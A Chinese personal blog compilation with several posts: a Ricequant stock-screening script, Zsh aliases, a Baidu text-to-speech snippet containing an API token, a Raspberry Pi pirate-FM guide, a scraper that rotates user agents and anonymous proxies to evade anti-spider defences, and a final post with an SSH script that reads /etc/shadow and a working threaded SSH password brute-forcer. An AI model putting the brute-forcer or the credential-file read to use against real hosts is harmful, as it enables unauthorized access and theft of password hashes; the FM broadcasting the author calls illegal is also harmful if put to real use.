基于Ricequant的一个量化分析公式实现

在三亚待了半个月,天天都在家窝着,还没有去海边转转。
现在基本过的是黑白颠倒的生活,打算过几天把自己的生物钟调回来,然后去海边走走。
老爸这几天也没闲着,让我帮忙实现一个选股公式的需求。利用日线和分钟线的共振来选择适合的股票,下面是具体的实现代码:

import time
def average(order, prieod, M):
    now_date = time.strftime('%Y-%m-%d',time.localtime(time.time()))
    if prieod == '1d':
        begin_date = time.strftime('%Y-%m-%d',time.localtime(time.time()-5*7*24*3600))
        try:
            time_list = get_price(order, start_date = begin_date, end_date = now_date, frequency = prieod, adjust_type = 'pre', skip_suspended = False, country = 'cn')
            #print(time_list)
            return average_merge(time_list, M)
        except:
            #print("无法获取到数据")
            pass
    elif prieod == '60m' or  prieod == '30m':
        begin_date = time.strftime('%Y-%m-%d',time.localtime(time.time()-7*24*3600))
        try:
            time_list = get_price(order, start_date = begin_date, end_date = now_date, frequency = prieod, adjust_type = 'pre', skip_suspended = False, country = 'cn')
            #print(time_list)
            return average_merge(time_list, M)
        except:
            #print("无法获取到数据")
            pass
def average_merge(time_list, M):
    sum = 0
    item = len(time_list.index)
    for delay in range(1, M+1):
        sum += time_list['close'][item-delay]
    average = sum / M
    return average
def Fliter(fac):
    share_list = concept( fac )
    target_list = []
    for share in share_list:
        try:
            if average(share, '1d', 5) >= average(share, '1d', 10) and average(share, '1d', 10) >= average(share, '1d', 20):
                print("已通过一轮筛选:", share)
                if average(share, '60m', 5) >= average(share, '60m', 10) and average(share, '60m', 10) >= average(share, '60m', 20):
                    print("已通过二轮筛选:", share)
                    if average(share, '30m', 5) >= average(share, '30m', 10) and average(share, '30m', 10) >= average(share, '30m', 20):
                        print("已通过三轮筛选:", share)
                        target_list.append(share)
        except:
            #print("无法比较")
            pass
    print("\n",fac,"命中个股:")
    for item in target_list:
        print(item)

Debian下Zsh的安装

这两天要被解压各式各样的压缩包搞得痛不欲生。我感觉我就是那种死活也记不住tar命令的人,于是又心心念想起了Zsh。
在默认Shell的选择上,Debian还是选择了Bash。我觉得主要的原因还是Zsh要是没有Oh-my-Zsh的辅助配置起来还是比较麻烦的。
安装好了Zsh之后,Autojump出了一点小插曲。按照以前的方法安装不上了,最后上官网一查,原来是路径设置错了。

[[ -s /usr/share/autojump/autojump.zsh ]] & . /usr/share/autojump/autojump.zsh

愿我成为萝卜,为你填掉一个坑。
下面是懒人专用alias:

alias -s gz='tar -xzvf'
alias -s tgz='tar -xzvf'
alias -s zip='unzip'
alias -s bz2='tar -xjvf'

Seanna语音合成支持

以前在凤巢玩的时候被安利了一发TTS,这两天又看到了,就琢磨着放在Seanna上了。
一直黑百度,但是有的东西百度做得还真不错。

def get_video(self, text, uid):
    url = "http://tsn.baidu.com/text2audio"
    text = urllib.quote(text.encode('utf8'))
    data = {
        'tex':text,
        'lan':'zh',
        'cuid':'C2335EE48C96',
        'ctp':'1',
        'tok':'24.40180bde9494ba22a6ecfefe251f8030.2592000.1487353701.282335-9214410'
    }
    response = urllib.urlopen( url, urllib.urlencode(data) ).read()
    with open( 'video/' + uid + '.mp3', 'wb') as f:
        f.write(response)

全频带阻塞

这几天在海南休息,随身只带了一个Surface和Raspberry Pi。
本来是要搞Fluxion的,但是原有的Debian系统内核不支持Rfkill,于是果断下载了Rasp_Linux的源码开始慢悠悠的交叉编译,但是不知道出了什么神奇的故障,新的内核镜像一直运行不了,ssh党表示很无奈啊。没办法只好重新刷了Kali 2.0的ARM版本,果然有Rfkill。松了一口气以后开始安装Fluxion的依赖,速度非常快。但是后面又出来一堆幺蛾子,此处按下不表。
为了转移注意力,我突然看到了一个FM的开源项目,看了一下也不是很复杂,所以就愉快的搞了一发。
1. 首先需要安装必要组件libsndfile

tar -xvzf libsndfile-1.0.25.tar.gz
cd libsndfile-1.0.25
./configure
make
make install

2. 克隆PiFmRds到本地。

git clone https://github.com/ChristopheJacquet/PiFmRds.git
cd PiFmRds/src
make clean
make

3. 编译成功之后会生成pi_fm_rds文件,之后可以执行下面的命令。频率可以通过-freq选择,播放的音频可以通过-audio选择。

 sudo ./pi_fm_rds -freq 107.9 -audio sound.wav

4. 最后,私人架设FM电台是违法的,勿做实际应用。至于题目是什么意思嘛,我什么都不知道~

隐藏

raspistill -n -q 10 -rot 180 -o monitor.jpg
curl --request POST --data-binary @"~/monitor.jpg" --header "U-ApiKey: xxxxxxxxx" http://api.yeelink.net/v1.0/device/xxxxx/sensor/xxxxx/photos

这是一段两年前写的代码。当时是为了做一个项目,做完之后这台机器也就被束之高阁了。今天临时需要一台物理机,登陆上去发现她还在运行,并且一直在给上行服务器发送数据,莫名有点感动。

What's comes easy won't last; What lasts won't come easy

Quote

拥有这样纯粹的心的人是极端可怕的。他们完全自我,臣服于自我,顺从于自我。
被魔鬼的眼睛紧紧凝视,他们肆意妄为,随心所欲,完全不顾周围人和事情的束缚,自我到了世界于他,就是他自己。拥有最完整的人性,在他的头脑里除了目标就是目标,生活对于他来说,岂不是每一刻都是酣畅淋漓!
只要那些奋力奔跑的人才会一路领先,而那些总是回望对手的人已经浪费了精力。

煎蛋网妹子图爬虫

自从开了自己的站点,就好久没来写过CSDN的博客了。维护自己那个站点的功夫确实也画的比较多,所以这里也就没怎么更新了。
由于自己也是大四了,需要考雅思出国,能留给自己兴趣爱好的时间就更加的少了。现在雅思也考完了,学校的水课还没有开始考,处于这种大四退休生活中的我终于又有时间来写博客了。

#coding:utf8
import os, sys
import md5
import time, random
import requests
import urllib, urllib2
from termcolor import colored
import multiprocessing
from bs4 import BeautifulSoup
def for_one_page_test( url ):
    #opener = urllib2.build_opener(urllib2.ProxyHandler({'http':'218.244.149.184:8888'}), urllib2.HTTPHandler(debuglevel=1))
    #urllib2.install_opener(opener)
    #opener = urllib2.build_opener(urllib2.ProxyHandler({'http':'80.242.171.35:8888'}), urllib2.HTTPHandler(debuglevel=1))
    #urllib2.install_opener(opener)
    UA = "Mozilla/"+ str(random.randint(10, 100))  +".0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090625 Firefox/3.5"
    print UA
    i_headers = {"User-Agent": "Mozilla/8.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5","Referer": 'http://jiandan.net'}
        req = urllib2.Request(url, headers=i_headers)
    html = urllib2.urlopen(req).read()
    print colored( html , 'blue')
    soup = BeautifulSoup(html)
    for img_address in soup.find_all('a'):
        if ( isinstance(img_address.get('class'), (list,str) ) and img_address.get('class')[0] == "view_img_link" ):
            try:
                img_url = img_address.get('href')
                                print colored( img_url[2:] , 'green')
                image_downlode( img_url )
                        except Exception, e:
                                print Exception, ":", e
def image_downlode( url ):
        img = requests.get( 'http://' + url[2:] )
        name = get_name(url) + '.' + url[-3:]
    try:
        open('/home/elfsong/image/'+name,'wb').write(img._content)
        print ( name + " done!")
    except Exception, e:
                print Exception, ":", e
        print ( name + " flased!")
    pass
def get_name( url ):
    m = md5.new()
    m.update( url )
    return m.hexdigest()
if __name__ == "__main__":
    start = *起始爬取页码*
    end = *结尾爬取页码*
    pool = multiprocessing.Pool(processes = *使用进程数量*)
    btime = time.time()
    for page in range(start,end+1):
        url = "http://jandan.net/ooxx/page-" + str(page)
        pool.apply_async(for_one_page_test, (url, ) )
    pool.close()
    pool.join()
    etime = time.time()
    print (etime - btime)
然后我一行代码都没改去测试了一下代码,发现这个脚本居然还可以完整运行,也是对煎蛋网的Anti-spider策略没话说。
由于爬虫属于对抗性编码,所以我自己一直认为还是一切从简比较好。之前很喜欢用Selenium+PhantomJS的组合来写爬虫的,这样确实功能强大,但很多时候都是一些华而不实的功能,再加上这两套方案根本不是一个数量级的,所以复杂的方案我觉得能不用还是尽量不要用比较好。
BTW,我给Urllib加了两个Opener,都是高匿代理。如果被Anti-spider盯上了,可以挂上Opener。这两个代理我也是从网上找的,对其可靠性和安全性都不负责。大家有需要的话也可以去万能的度娘那里找。

SSH登陆器

对我而言,武术的非凡之处在于它的简单。简单的方法也是正确的方法,同时武术也没有什么特别之处。越是接近武术的真谛,招式表现上浪费越少。
我们先来看一段代码,这是整个登陆器的核心所在。

#!/usr/bin/python
# -*- coding: utf-8 -*-
import pexpect
PROMPT = ['# ', '>>> ', '> ','\$ ']
def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print child.before
def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    connStr = 'ssh ' + user + '@' + host
    child = pexpect.spawn(connStr)
    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])
    if ret == 0:
        print '[-] Error Connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
        if ret == 0:
            print '[-] Error Connecting'
            return
    child.sendline(password)
    child.expect(PROMPT)
    return child
def main():
    host = 'localhost'
    user = 'root'
    password = 'toor'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')
if __name__ == '__main__':
    main()

这段代码中,PROMPT表示ssh的提示符,当发现提示符的时候,说明我们以及成功连接SSH了。
之后我们发现,pexcept提供了一个名叫PxSSH的专用脚本,它预置了login(), logout(), prompt() 等函数直接与SSH交互。这为我们节约了大量的时间。下面是利用PxSSH编写的一套SSH暴力登陆破解器。

import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password, release):
	global Found
	global Fails
	try:
		s = pxssh.pxssh()
		s.login(host, user, password)
		print '[+] Password Found: ' + password
		Found = True
	except Exception, e:
		if 'read_nonblocking' in str(e):
			Fails += 1
			time.sleep(5)
			connect(host, user, password, False)
		elif 'synchronize with original prompt' in str(e):
			time.sleep(1)
			connect(host, user, password, False)
	finally:
		if release: connection_lock.release()
def main():
	parser = optparse.OptionParser('usage %prog '+ '-H  -u  -F ')
	parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
	parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
	parser.add_option('-u', dest='user', type='string', help='specify the user')
	(options, args) = parser.parse_args()
	host = options.tgtHost
	passwdFile = options.passwdFile
	user = options.user
	if host == None or passwdFile == None or user == None:
		print parser.usage
		exit(0)
	fn = open(passwdFile, 'r')
	for line in fn.readlines():
		if Found:
			print "[*] Exiting: Password Found"
			exit(0)
		if Fails > 5:
			print "[!] Exiting: Too Many Socket Timeouts"
			exit(0)
		connection_lock.acquire()
		password = line.strip('\r').strip('\n')
		print "[-] Testing: "+str(password)
		t = Thread(target=connect, args=(host, user, password, True))
		child = t.start()
if __name__ == '__main__':
	main()

如果在这里代码看起来不太舒服的话,欢迎去我的Github查看:

https://github.com/Elfsong/WintersWrath/blob/master/python/sshBrute.py